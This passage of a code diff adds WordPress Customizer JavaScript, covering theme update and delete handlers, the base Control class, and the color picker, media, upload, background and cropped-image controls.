+			wp.updates.maybeRequestFilesystemCredentials( event );
+
+			$( document ).one( 'wp-theme-update-success', function( e, response ) {
+
+				// Rerender the control to reflect the update.
+				api.control.each( function( control ) {
+					if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) {
+						control.params.theme.hasUpdate = false;
+						control.params.theme.version = response.newVersion;
+						setTimeout( function() {
+							control.rerenderAsInstalled( true );
+						}, 2000 );
+					}
+				});
+			} );
+
+			wp.updates.updateTheme( {
+				slug: $( event.target ).closest( '.notice' ).data( 'slug' )
+			} );
+		},
+
+		/**
+		 * Delete a theme via wp.updates.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {jQuery.Event} event - Event.
+		 * @returns {void}
+		 */
+		deleteTheme: function( event ) {
+			var theme, section;
+			theme = $( event.target ).data( 'slug' );
+			section = api.section( 'installed_themes' );
+
+			event.preventDefault();
+
+			// Temporary since supplying SFTP credentials does not work yet. See #42184.
+			if ( api.settings.theme._filesystemCredentialsNeeded ) {
+				return;
+			}
+
+			// Confirmation dialog for deleting a theme.
+			if ( ! window.confirm( api.settings.l10n.confirmDeleteTheme ) ) {
+				return;
+			}
+
+			wp.updates.maybeRequestFilesystemCredentials( event );
+
+			$( document ).one( 'wp-theme-delete-success', function() {
+				var control = api.control( 'installed_theme_' + theme );
+
+				// Remove theme control.
+				control.container.remove();
+				api.control.remove( control.id );
+
+				// Update installed count.
+				section.loaded = section.loaded - 1;
+				section.updateCount();
+
+				// Rerender any other theme controls as uninstalled.
+				api.control.each( function( control ) {
+					if ( 'theme' === control.params.type && control.params.theme.id === theme ) {
+						control.rerenderAsInstalled( false );
+					}
+				});
+			} );
+
+			wp.updates.deleteTheme( {
+				slug: theme
+			} );
+
+			// Close modal and focus the section.
+			section.closeDetails();
+			section.focus();
+		}
+	});
+
+	/**
+	 * A Customizer Control.
+	 *
+	 * A control provides a UI element that allows a user to modify a Customizer Setting.
+	 *
+	 * @see PHP class WP_Customize_Control.
+	 *
+	 * @class
+	 * @augments wp.customize.Class
+	 */
+	api.Control = api.Class.extend({
+		defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },
+
+		/**
+		 * Default params.
+		 *
+		 * @since 4.9.0
+		 * @var {object}
+		 */
+		defaults: {
+			label: '',
+			description: '',
+			active: true,
+			priority: 10
+		},
+
+		/**
+		 * Initialize.
+		 *
+		 * @param {string} id                       - Unique identifier for the control instance.
+		 * @param {object} options                  - Options hash for the control instance.
+		 * @param {object} options.type             - Type of control (e.g. text, radio, dropdown-pages, etc.)
+		 * @param {string} [options.content]        - The HTML content for the control or at least its container. This should normally be left blank and instead supplying a templateId.
+		 * @param {string} [options.templateId]     - Template ID for control's content.
+		 * @param {string} [options.priority=10]    - Order of priority to show the control within the section.
+		 * @param {string} [options.active=true]    - Whether the control is active.
+		 * @param {string} options.section          - The ID of the section the control belongs to.
+		 * @param {mixed}  [options.setting]        - The ID of the main setting or an instance of this setting.
+		 * @param {mixed}  options.settings         - An object with keys (e.g. default) that maps to setting IDs or Setting/Value objects, or an array of setting IDs or Setting/Value objects.
+		 * @param {mixed}  options.settings.default - The ID of the setting the control relates to.
+		 * @param {string} options.settings.data    - @todo Is this used?
+		 * @param {string} options.label            - Label.
+		 * @param {string} options.description      - Description.
+		 * @param {number} [options.instanceNumber] - Order in which this instance was created in relation to other instances.
+		 * @param {object} [options.params]         - Deprecated wrapper for the above properties.
+		 * @returns {void}
+		 */
+		initialize: function( id, options ) {
+			var control = this, deferredSettingIds = [], settings, gatherSettings;
+
+			control.params = _.extend(
+				{},
+				control.defaults,
+				control.params || {}, // In case sub-class already defines.
+				options.params || options || {} // The options.params property is deprecated, but it is checked first for back-compat.
+			);
+
+			if ( ! api.Control.instanceCounter ) {
+				api.Control.instanceCounter = 0;
+			}
+			api.Control.instanceCounter++;
+			if ( ! control.params.instanceNumber ) {
+				control.params.instanceNumber = api.Control.instanceCounter;
+			}
+
+			// Look up the type if one was not supplied.
+			if ( ! control.params.type ) {
+				_.find( api.controlConstructor, function( Constructor, type ) {
+					if ( Constructor === control.constructor ) {
+						control.params.type = type;
+						return true;
+					}
+					return false;
+				} );
+			}
+
+			if ( ! control.params.content ) {
+				control.params.content = $( '<li></li>', {
+					id: 'customize-control-' + id.replace( /]/g, '' ).replace( /\[/g, '-' ),
+					'class': 'customize-control customize-control-' + control.params.type
+				} );
+			}
+
+			control.id = id;
+			control.selector = '#customize-control-' + id.replace( /\]/g, '' ).replace( /\[/g, '-' ); // Deprecated, likely dead code from time before #28709.
+			if ( control.params.content ) {
+				control.container = $( control.params.content );
+			} else {
+				control.container = $( control.selector ); // Likely dead, per above. See #28709.
+			}
+
+			if ( control.params.templateId ) {
+				control.templateSelector = control.params.templateId;
+			} else {
+				control.templateSelector = 'customize-control-' + control.params.type + '-content';
+			}
+
+			control.deferred = _.extend( control.deferred || {}, {
+				embedded: new $.Deferred()
+			} );
+			control.section = new api.Value();
+			control.priority = new api.Value();
+			control.active = new api.Value();
+			control.activeArgumentsQueue = [];
+			control.notifications = new api.Notifications({
+				alt: control.altNotice
+			});
+
+			control.elements = [];
+
+			control.active.bind( function ( active ) {
+				var args = control.activeArgumentsQueue.shift();
+				args = $.extend( {}, control.defaultActiveArguments, args );
+				control.onChangeActive( active, args );
+			} );
+
+			control.section.set( control.params.section );
+			control.priority.set( isNaN( control.params.priority ) ? 10 : control.params.priority );
+			control.active.set( control.params.active );
+
+			api.utils.bubbleChildValueChanges( control, [ 'section', 'priority', 'active' ] );
+
+			control.settings = {};
+
+			settings = {};
+			if ( control.params.setting ) {
+				settings['default'] = control.params.setting;
+			}
+			_.extend( settings, control.params.settings );
+
+			// Note: Settings can be an array or an object, with values being either setting IDs or Setting (or Value) objects.
+			_.each( settings, function( value, key ) {
+				var setting;
+				if ( _.isObject( value ) && _.isFunction( value.extended ) && value.extended( api.Value ) ) {
+					control.settings[ key ] = value;
+				} else if ( _.isString( value ) ) {
+					setting = api( value );
+					if ( setting ) {
+						control.settings[ key ] = setting;
+					} else {
+						deferredSettingIds.push( value );
+					}
+				}
+			} );
+
+			gatherSettings = function() {
+
+				// Fill-in all resolved settings.
+				_.each( settings, function ( settingId, key ) {
+					if ( ! control.settings[ key ] && _.isString( settingId ) ) {
+						control.settings[ key ] = api( settingId );
+					}
+				} );
+
+				// Make sure settings passed as array gets associated with default.
+				if ( control.settings[0] && ! control.settings['default'] ) {
+					control.settings['default'] = control.settings[0];
+				}
+
+				// Identify the main setting.
+				control.setting = control.settings['default'] || null;
+
+				control.linkElements(); // Link initial elements present in server-rendered content.
+				control.embed();
+			};
+
+			if ( 0 === deferredSettingIds.length ) {
+				gatherSettings();
+			} else {
+				api.apply( api, deferredSettingIds.concat( gatherSettings ) );
+			}
+
+			// After the control is embedded on the page, invoke the "ready" method.
+			control.deferred.embedded.done( function () {
+				control.linkElements(); // Link any additional elements after template is rendered by renderContent().
+				control.setupNotifications();
+				control.ready();
+			});
+		},
+
+		/**
+		 * Link elements between settings and inputs.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 *
+		 * @returns {void}
+		 */
+		linkElements: function () {
+			var control = this, nodes, radios, element;
+
+			nodes = control.container.find( '[data-customize-setting-link], [data-customize-setting-key-link]' );
+			radios = {};
+
+			nodes.each( function () {
+				var node = $( this ), name, setting;
+
+				if ( node.data( 'customizeSettingLinked' ) ) {
+					return;
+				}
+				node.data( 'customizeSettingLinked', true ); // Prevent re-linking element.
+
+				if ( node.is( ':radio' ) ) {
+					name = node.prop( 'name' );
+					if ( radios[name] ) {
+						return;
+					}
+
+					radios[name] = true;
+					node = nodes.filter( '[name="' + name + '"]' );
+				}
+
+				// Let link by default refer to setting ID. If it doesn't exist, fallback to looking up by setting key.
+				if ( node.data( 'customizeSettingLink' ) ) {
+					setting = api( node.data( 'customizeSettingLink' ) );
+				} else if ( node.data( 'customizeSettingKeyLink' ) ) {
+					setting = control.settings[ node.data( 'customizeSettingKeyLink' ) ];
+				}
+
+				if ( setting ) {
+					element = new api.Element( node );
+					control.elements.push( element );
+					element.sync( setting );
+					element.set( setting() );
+				}
+			} );
+		},
+
+		/**
+		 * Embed the control into the page.
+		 */
+		embed: function () {
+			var control = this,
+				inject;
+
+			// Watch for changes to the section state
+			inject = function ( sectionId ) {
+				var parentContainer;
+				if ( ! sectionId ) { // @todo allow a control to be embedded without a section, for instance a control embedded in the front end.
+					return;
+				}
+				// Wait for the section to be registered
+				api.section( sectionId, function ( section ) {
+					// Wait for the section to be ready/initialized
+					section.deferred.embedded.done( function () {
+						parentContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' );
+						if ( ! control.container.parent().is( parentContainer ) ) {
+							parentContainer.append( control.container );
+							control.renderContent();
+						}
+						control.deferred.embedded.resolve();
+					});
+				});
+			};
+			control.section.bind( inject );
+			inject( control.section.get() );
+		},
+
+		/**
+		 * Triggered when the control's markup has been injected into the DOM.
+		 *
+		 * @returns {void}
+		 */
+		ready: function() {
+			var control = this, newItem;
+			if ( 'dropdown-pages' === control.params.type && control.params.allow_addition ) {
+				newItem = control.container.find( '.new-content-item' );
+				newItem.hide(); // Hide in JS to preserve flex display when showing.
+				control.container.on( 'click', '.add-new-toggle', function( e ) {
+					$( e.currentTarget ).slideUp( 180 );
+					newItem.slideDown( 180 );
+					newItem.find( '.create-item-input' ).focus();
+				});
+				control.container.on( 'click', '.add-content', function() {
+					control.addNewPage();
+				});
+				control.container.on( 'keydown', '.create-item-input', function( e ) {
+					if ( 13 === e.which ) { // Enter
+						control.addNewPage();
+					}
+				});
+			}
+		},
+
+		/**
+		 * Get the element inside of a control's container that contains the validation error message.
+		 *
+		 * Control subclasses may override this to return the proper container to render notifications into.
+		 * Injects the notification container for existing controls that lack the necessary container,
+		 * including special handling for nav menu items and widgets.
+		 *
+		 * @since 4.6.0
+		 * @returns {jQuery} Setting validation message element.
+		 * @this {wp.customize.Control}
+		 */
+		getNotificationsContainerElement: function() {
+			var control = this, controlTitle, notificationsContainer;
+
+			notificationsContainer = control.container.find( '.customize-control-notifications-container:first' );
+			if ( notificationsContainer.length ) {
+				return notificationsContainer;
+			}
+
+			notificationsContainer = $( '<div class="customize-control-notifications-container"></div>' );
+
+			if ( control.container.hasClass( 'customize-control-nav_menu_item' ) ) {
+				control.container.find( '.menu-item-settings:first' ).prepend( notificationsContainer );
+			} else if ( control.container.hasClass( 'customize-control-widget_form' ) ) {
+				control.container.find( '.widget-inside:first' ).prepend( notificationsContainer );
+			} else {
+				controlTitle = control.container.find( '.customize-control-title' );
+				if ( controlTitle.length ) {
+					controlTitle.after( notificationsContainer );
+				} else {
+					control.container.prepend( notificationsContainer );
+				}
+			}
+			return notificationsContainer;
+		},
+
+		/**
+		 * Set up notifications.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		setupNotifications: function() {
+			var control = this, renderNotificationsIfVisible, onSectionAssigned;
+
+			// Add setting notifications to the control notification.
+			_.each( control.settings, function( setting ) {
+				if ( ! setting.notifications ) {
+					return;
+				}
+				setting.notifications.bind( 'add', function( settingNotification ) {
+					var params = _.extend(
+						{},
+						settingNotification,
+						{
+							setting: setting.id
+						}
+					);
+					control.notifications.add( new api.Notification( setting.id + ':' + settingNotification.code, params ) );
+				} );
+				setting.notifications.bind( 'remove', function( settingNotification ) {
+					control.notifications.remove( setting.id + ':' + settingNotification.code );
+				} );
+			} );
+
+			renderNotificationsIfVisible = function() {
+				var sectionId = control.section();
+				if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) {
+					control.notifications.render();
+				}
+			};
+
+			control.notifications.bind( 'rendered', function() {
+				var notifications = control.notifications.get();
+				control.container.toggleClass( 'has-notifications', 0 !== notifications.length );
+				control.container.toggleClass( 'has-error', 0 !== _.where( notifications, { type: 'error' } ).length );
+			} );
+
+			onSectionAssigned = function( newSectionId, oldSectionId ) {
+				if ( oldSectionId && api.section.has( oldSectionId ) ) {
+					api.section( oldSectionId ).expanded.unbind( renderNotificationsIfVisible );
+				}
+				if ( newSectionId ) {
+					api.section( newSectionId, function( section ) {
+						section.expanded.bind( renderNotificationsIfVisible );
+						renderNotificationsIfVisible();
+					});
+				}
+			};
+
+			control.section.bind( onSectionAssigned );
+			onSectionAssigned( control.section.get() );
+			control.notifications.bind( 'change', _.debounce( renderNotificationsIfVisible ) );
+		},
+
+		/**
+		 * Render notifications.
+		 *
+		 * Renders the `control.notifications` into the control's container.
+		 * Control subclasses may override this method to do their own handling
+		 * of rendering notifications.
+		 *
+		 * @deprecated in favor of `control.notifications.render()`
+		 * @since 4.6.0
+		 * @this {wp.customize.Control}
+		 */
+		renderNotifications: function() {
+			var control = this, container, notifications, hasError = false;
+
+			if ( 'undefined' !== typeof console && console.warn ) {
+				console.warn( '[DEPRECATED] wp.customize.Control.prototype.renderNotifications() is deprecated in favor of instantating a wp.customize.Notifications and calling its render() method.' );
+			}
+
+			container = control.getNotificationsContainerElement();
+			if ( ! container || ! container.length ) {
+				return;
+			}
+			notifications = [];
+			control.notifications.each( function( notification ) {
+				notifications.push( notification );
+				if ( 'error' === notification.type ) {
+					hasError = true;
+				}
+			} );
+
+			if ( 0 === notifications.length ) {
+				container.stop().slideUp( 'fast' );
+			} else {
+				container.stop().slideDown( 'fast', null, function() {
+					$( this ).css( 'height', 'auto' );
+				} );
+			}
+
+			if ( ! control.notificationsTemplate ) {
+				control.notificationsTemplate = wp.template( 'customize-control-notifications' );
+			}
+
+			control.container.toggleClass( 'has-notifications', 0 !== notifications.length );
+			control.container.toggleClass( 'has-error', hasError );
+			container.empty().append( $.trim(
+				control.notificationsTemplate( { notifications: notifications, altNotice: Boolean( control.altNotice ) } )
+			) );
+		},
+
+		/**
+		 * Normal controls do not expand, so just expand its parent
+		 *
+		 * @param {Object} [params]
+		 */
+		expand: function ( params ) {
+			api.section( this.section() ).expand( params );
+		},
+
+		/**
+		 * Bring the containing section and panel into view and then
+		 * this control into view, focusing on the first input.
+		 */
+		focus: focus,
+
+		/**
+		 * Update UI in response to a change in the control's active state.
+		 * This does not change the active state, it merely handles the behavior
+		 * for when it does change.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {Boolean}  active
+		 * @param {Object}   args
+		 * @param {Number}   args.duration
+		 * @param {Function} args.completeCallback
+		 */
+		onChangeActive: function ( active, args ) {
+			if ( args.unchanged ) {
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+				return;
+			}
+
+			if ( ! $.contains( document, this.container[0] ) ) {
+				// jQuery.fn.slideUp is not hiding an element if it is not in the DOM
+				this.container.toggle( active );
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+			} else if ( active ) {
+				this.container.slideDown( args.duration, args.completeCallback );
+			} else {
+				this.container.slideUp( args.duration, args.completeCallback );
+			}
+		},
+
+		/**
+		 * @deprecated 4.1.0 Use this.onChangeActive() instead.
+		 */
+		toggle: function ( active ) {
+			return this.onChangeActive( active, this.defaultActiveArguments );
+		},
+
+		/**
+		 * Shorthand way to enable the active state.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already active
+		 */
+		activate: Container.prototype.activate,
+
+		/**
+		 * Shorthand way to disable the active state.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already inactive
+		 */
+		deactivate: Container.prototype.deactivate,
+
+		/**
+		 * Re-use _toggleActive from Container class.
+		 *
+		 * @access private
+		 */
+		_toggleActive: Container.prototype._toggleActive,
+
+		// @todo This function appears to be dead code and can be removed.
+		dropdownInit: function() {
+			var control      = this,
+				statuses     = this.container.find('.dropdown-status'),
+				params       = this.params,
+				toggleFreeze = false,
+				update       = function( to ) {
+					if ( 'string' === typeof to && params.statuses && params.statuses[ to ] ) {
+						statuses.html( params.statuses[ to ] ).show();
+					} else {
+						statuses.hide();
+					}
+				};
+
+			// Support the .dropdown class to open/close complex elements
+			this.container.on( 'click keydown', '.dropdown', function( event ) {
+				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+					return;
+				}
+
+				event.preventDefault();
+
+				if ( ! toggleFreeze ) {
+					control.container.toggleClass( 'open' );
+				}
+
+				if ( control.container.hasClass( 'open' ) ) {
+					control.container.parent().parent().find( 'li.library-selected' ).focus();
+				}
+
+				// Don't want to fire focus and click at same time
+				toggleFreeze = true;
+				setTimeout(function () {
+					toggleFreeze = false;
+				}, 400);
+			});
+
+			this.setting.bind( update );
+			update( this.setting() );
+		},
+
+		/**
+		 * Render the control from its JS template, if it exists.
+		 *
+		 * The control's container must already exist in the DOM.
+		 *
+		 * @since 4.1.0
+		 */
+		renderContent: function () {
+			var control = this, template, standardTypes, templateId, sectionId;
+
+			standardTypes = [
+				'button',
+				'checkbox',
+				'date',
+				'datetime-local',
+				'email',
+				'month',
+				'number',
+				'password',
+				'radio',
+				'range',
+				'search',
+				'select',
+				'tel',
+				'time',
+				'text',
+				'textarea',
+				'week',
+				'url'
+			];
+
+			templateId = control.templateSelector;
+
+			// Use default content template when a standard HTML type is used, there isn't a more specific template existing, and the control container is empty.
+			if ( templateId === 'customize-control-' + control.params.type + '-content' &&
+				_.contains( standardTypes, control.params.type ) &&
+				! document.getElementById( 'tmpl-' + templateId ) &&
+				0 === control.container.children().length )
+			{
+				templateId = 'customize-control-default-content';
+			}
+
+			// Replace the container element's content with the control.
+			if ( document.getElementById( 'tmpl-' + templateId ) ) {
+				template = wp.template( templateId );
+				if ( template && control.container ) {
+					control.container.html( template( control.params ) );
+				}
+			}
+
+			// Re-render notifications after content has been re-rendered.
+			control.notifications.container = control.getNotificationsContainerElement();
+			sectionId = control.section();
+			if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) {
+				control.notifications.render();
+			}
+		},
+
+		/**
+		 * Add a new page to a dropdown-pages control reusing menus code for this.
+		 *
+		 * @since 4.7.0
+		 * @access private
+		 * @returns {void}
+		 */
+		addNewPage: function () {
+			var control = this, promise, toggle, container, input, title, select;
+
+			if ( 'dropdown-pages' !== control.params.type || ! control.params.allow_addition || ! api.Menus ) {
+				return;
+			}
+
+			toggle = control.container.find( '.add-new-toggle' );
+			container = control.container.find( '.new-content-item' );
+			input = control.container.find( '.create-item-input' );
+			title = input.val();
+			select = control.container.find( 'select' );
+
+			if ( ! title ) {
+				input.addClass( 'invalid' );
+				return;
+			}
+
+			input.removeClass( 'invalid' );
+			input.attr( 'disabled', 'disabled' );
+
+			// The menus functions add the page, publish when appropriate, and also add the new page to the dropdown-pages controls.
+			promise = api.Menus.insertAutoDraftPost( {
+				post_title: title,
+				post_type: 'page'
+			} );
+			promise.done( function( data ) {
+				var availableItem, $content, itemTemplate;
+
+				// Prepare the new page as an available menu item.
+				// See api.Menus.submitNew().
+				availableItem = new api.Menus.AvailableItemModel( {
+					'id': 'post-' + data.post_id, // Used for available menu item Backbone models.
+					'title': title,
+					'type': 'post_type',
+					'type_label': api.Menus.data.l10n.page_label,
+					'object': 'page',
+					'object_id': data.post_id,
+					'url': data.url
+				} );
+
+				// Add the new item to the list of available menu items.
+				api.Menus.availableMenuItemsPanel.collection.add( availableItem );
+				$content = $( '#available-menu-items-post_type-page' ).find( '.available-menu-items-list' );
+				itemTemplate = wp.template( 'available-menu-item' );
+				$content.prepend( itemTemplate( availableItem.attributes ) );
+
+				// Focus the select control.
+				select.focus();
+				control.setting.set( String( data.post_id ) ); // Triggers a preview refresh and updates the setting.
+
+				// Reset the create page form.
+				container.slideUp( 180 );
+				toggle.slideDown( 180 );
+			} );
+			promise.always( function() {
+				input.val( '' ).removeAttr( 'disabled' );
+			} );
+		}
+	});
+
+	/**
+	 * A colorpicker control.
+	 *
+	 * @class
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.ColorControl = api.Control.extend({
+		ready: function() {
+			var control = this,
+				isHueSlider = this.params.mode === 'hue',
+				updating = false,
+				picker;
+
+			if ( isHueSlider ) {
+				picker = this.container.find( '.color-picker-hue' );
+				picker.val( control.setting() ).wpColorPicker({
+					change: function( event, ui ) {
+						updating = true;
+						control.setting( ui.color.h() );
+						updating = false;
+					}
+				});
+			} else {
+				picker = this.container.find( '.color-picker-hex' );
+				picker.val( control.setting() ).wpColorPicker({
+					change: function() {
+						updating = true;
+						control.setting.set( picker.wpColorPicker( 'color' ) );
+						updating = false;
+					},
+					clear: function() {
+						updating = true;
+						control.setting.set( '' );
+						updating = false;
+					}
+				});
+			}
+
+			control.setting.bind( function ( value ) {
+				// Bail if the update came from the control itself.
+				if ( updating ) {
+					return;
+				}
+				picker.val( value );
+				picker.wpColorPicker( 'color', value );
+			} );
+
+			// Collapse color picker when hitting Esc instead of collapsing the current section.
+			control.container.on( 'keydown', function( event ) {
+				var pickerContainer;
+				if ( 27 !== event.which ) { // Esc.
+					return;
+				}
+				pickerContainer = control.container.find( '.wp-picker-container' );
+				if ( pickerContainer.hasClass( 'wp-picker-active' ) ) {
+					picker.wpColorPicker( 'close' );
+					control.container.find( '.wp-color-result' ).focus();
+					event.stopPropagation(); // Prevent section from being collapsed.
+				}
+			} );
+		}
+	});
+
+	/**
+	 * A control that implements the media modal.
+	 *
+	 * @class
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.MediaControl = api.Control.extend({
+
+		/**
+		 * When the control's DOM structure is ready,
+		 * set up internal event bindings.
+		 */
+		ready: function() {
+			var control = this;
+			// Shortcut so that we don't have to use _.bind every time we add a callback.
+			_.bindAll( control, 'restoreDefault', 'removeFile', 'openFrame', 'select', 'pausePlayer' );
+
+			// Bind events, with delegation to facilitate re-rendering.
+			control.container.on( 'click keydown', '.upload-button', control.openFrame );
+			control.container.on( 'click keydown', '.upload-button', control.pausePlayer );
+			control.container.on( 'click keydown', '.thumbnail-image img', control.openFrame );
+			control.container.on( 'click keydown', '.default-button', control.restoreDefault );
+			control.container.on( 'click keydown', '.remove-button', control.pausePlayer );
+			control.container.on( 'click keydown', '.remove-button', control.removeFile );
+			control.container.on( 'click keydown', '.remove-button', control.cleanupPlayer );
+
+			// Resize the player controls when it becomes visible (ie when section is expanded)
+			api.section( control.section() ).container
+				.on( 'expanded', function() {
+					if ( control.player ) {
+						control.player.setControlsSize();
+					}
+				})
+				.on( 'collapsed', function() {
+					control.pausePlayer();
+				});
+
+			/**
+			 * Set attachment data and render content.
+			 *
+			 * Note that BackgroundImage.prototype.ready applies this ready method
+			 * to itself. Since BackgroundImage is an UploadControl, the value
+			 * is the attachment URL instead of the attachment ID. In this case
+			 * we skip fetching the attachment data because we have no ID available,
+			 * and it is the responsibility of the UploadControl to set the control's
+			 * attachmentData before calling the renderContent method.
+			 *
+			 * @param {number|string} value Attachment
+			 */
+			function setAttachmentDataAndRenderContent( value ) {
+				var hasAttachmentData = $.Deferred();
+
+				if ( control.extended( api.UploadControl ) ) {
+					hasAttachmentData.resolve();
+				} else {
+					value = parseInt( value, 10 );
+					if ( _.isNaN( value ) || value <= 0 ) {
+						delete control.params.attachment;
+						hasAttachmentData.resolve();
+					} else if ( control.params.attachment && control.params.attachment.id === value ) {
+						hasAttachmentData.resolve();
+					}
+				}
+
+				// Fetch the attachment data.
+				if ( 'pending' === hasAttachmentData.state() ) {
+					wp.media.attachment( value ).fetch().done( function() {
+						control.params.attachment = this.attributes;
+						hasAttachmentData.resolve();
+
+						// Send attachment information to the preview for possible use in `postMessage` transport.
+						wp.customize.previewer.send( control.setting.id + '-attachment-data', this.attributes );
+					} );
+				}
+
+				hasAttachmentData.done( function() {
+					control.renderContent();
+				} );
+			}
+
+			// Ensure attachment data is initially set (for dynamically-instantiated controls).
+			setAttachmentDataAndRenderContent( control.setting() );
+
+			// Update the attachment data and re-render the control when the setting changes.
+			control.setting.bind( setAttachmentDataAndRenderContent );
+		},
+
+		pausePlayer: function () {
+			this.player && this.player.pause();
+		},
+
+		cleanupPlayer: function () {
+			this.player && wp.media.mixin.removePlayer( this.player );
+		},
+
+		/**
+		 * Open the media modal.
+		 */
+		openFrame: function( event ) {
+			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+				return;
+			}
+
+			event.preventDefault();
+
+			if ( ! this.frame ) {
+				this.initFrame();
+			}
+
+			this.frame.open();
+		},
+
+		/**
+		 * Create a media modal select frame, and store it so the instance can be reused when needed.
+		 */
+		initFrame: function() {
+			this.frame = wp.media({
+				button: {
+					text: this.params.button_labels.frame_button
+				},
+				states: [
+					new wp.media.controller.Library({
+						title:     this.params.button_labels.frame_title,
+						library:   wp.media.query({ type: this.params.mime_type }),
+						multiple:  false,
+						date:      false
+					})
+				]
+			});
+
+			// When a file is selected, run a callback.
+			this.frame.on( 'select', this.select );
+		},
+
+		/**
+		 * Callback handler for when an attachment is selected in the media modal.
+		 * Gets the selected image information, and sets it within the control.
+		 */
+		select: function() {
+			// Get the attachment from the modal frame.
+			var node,
+				attachment = this.frame.state().get( 'selection' ).first().toJSON(),
+				mejsSettings = window._wpmejsSettings || {};
+
+			this.params.attachment = attachment;
+
+			// Set the Customizer setting; the callback takes care of rendering.
+			this.setting( attachment.id );
+			node = this.container.find( 'audio, video' ).get(0);
+
+			// Initialize audio/video previews.
+			if ( node ) {
+				this.player = new MediaElementPlayer( node, mejsSettings );
+			} else {
+				this.cleanupPlayer();
+			}
+		},
+
+		/**
+		 * Reset the setting to the default value.
+		 */
+		restoreDefault: function( event ) {
+			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+				return;
+			}
+			event.preventDefault();
+
+			this.params.attachment = this.params.defaultAttachment;
+			this.setting( this.params.defaultAttachment.url );
+		},
+
+		/**
+		 * Called when the "Remove" link is clicked. Empties the setting.
+		 *
+		 * @param {object} event jQuery Event object
+		 */
+		removeFile: function( event ) {
+			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+				return;
+			}
+			event.preventDefault();
+
+			this.params.attachment = {};
+			this.setting( '' );
+			this.renderContent(); // Not bound to setting change when emptying.
+		}
+	});
+
+	/**
+	 * An upload control, which utilizes the media modal.
+	 *
+	 * @class
+	 * @augments wp.customize.MediaControl
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.UploadControl = api.MediaControl.extend({
+
+		/**
+		 * Callback handler for when an attachment is selected in the media modal.
+		 * Gets the selected image information, and sets it within the control.
+		 */
+		select: function() {
+			// Get the attachment from the modal frame.
+			var node,
+				attachment = this.frame.state().get( 'selection' ).first().toJSON(),
+				mejsSettings = window._wpmejsSettings || {};
+
+			this.params.attachment = attachment;
+
+			// Set the Customizer setting; the callback takes care of rendering.
+			this.setting( attachment.url );
+			node = this.container.find( 'audio, video' ).get(0);
+
+			// Initialize audio/video previews.
+			if ( node ) {
+				this.player = new MediaElementPlayer( node, mejsSettings );
+			} else {
+				this.cleanupPlayer();
+			}
+		},
+
+		// @deprecated
+		success: function() {},
+
+		// @deprecated
+		removerVisibility: function() {}
+	});
+
+	/**
+	 * A control for uploading images.
+	 *
+	 * This control no longer needs to do anything more
+	 * than what the upload control does in JS.
+	 *
+	 * @class
+	 * @augments wp.customize.UploadControl
+	 * @augments wp.customize.MediaControl
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.ImageControl = api.UploadControl.extend({
+		// @deprecated
+		thumbnailSrc: function() {}
+	});
+
+	/**
+	 * A control for uploading background images.
+	 *
+	 * @class
+	 * @augments wp.customize.UploadControl
+	 * @augments wp.customize.MediaControl
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.BackgroundControl = api.UploadControl.extend({
+
+		/**
+		 * When the control's DOM structure is ready,
+		 * set up internal event bindings.
+		 */
+		ready: function() {
+			api.UploadControl.prototype.ready.apply( this, arguments );
+		},
+
+		/**
+		 * Callback handler for when an attachment is selected in the media modal.
+		 * Does an additional AJAX request for setting the background context.
+		 */
+		select: function() {
+			api.UploadControl.prototype.select.apply( this, arguments );
+
+			wp.ajax.post( 'custom-background-add', {
+				nonce: _wpCustomizeBackground.nonces.add,
+				wp_customize: 'on',
+				customize_theme: api.settings.theme.stylesheet,
+				attachment_id: this.params.attachment.id
+			} );
+		}
+	});
+
+	/**
+	 * A control for positioning a background image.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @class
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.BackgroundPositionControl = api.Control.extend( {
+
+		/**
+		 * Set up control UI once embedded in DOM and settings are created.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 */
+		ready: function() {
+			var control = this, updateRadios;
+
+			control.container.on( 'change', 'input[name="background-position"]', function() {
+				var position = $( this ).val().split( ' ' );
+				control.settings.x( position[0] );
+				control.settings.y( position[1] );
+			} );
+
+			updateRadios = _.debounce( function() {
+				var x, y, radioInput, inputValue;
+				x = control.settings.x.get();
+				y = control.settings.y.get();
+				inputValue = String( x ) + ' ' + String( y );
+				radioInput = control.container.find( 'input[name="background-position"][value="' + inputValue + '"]' );
+				radioInput.click();
+			} );
+			control.settings.x.bind( updateRadios );
+			control.settings.y.bind( updateRadios );
+
+			updateRadios(); // Set initial UI.
+		}
+	} );
+
+	/**
+	 * A control for selecting and cropping an image.
+	 *
+	 * @class
+	 * @augments wp.customize.MediaControl
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.CroppedImageControl = api.MediaControl.extend({
+
+		/**
+		 * Open the media modal to the library state.
+		 */
+		openFrame: function( event ) {
+			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+				return;
+			}
+
+			this.initFrame();
+			this.frame.setState( 'library' ).open();
+		},
+
+		/**
+		 * Create a media modal select frame, and store it so the instance can be reused when needed.
+		 */
+		initFrame: function() {
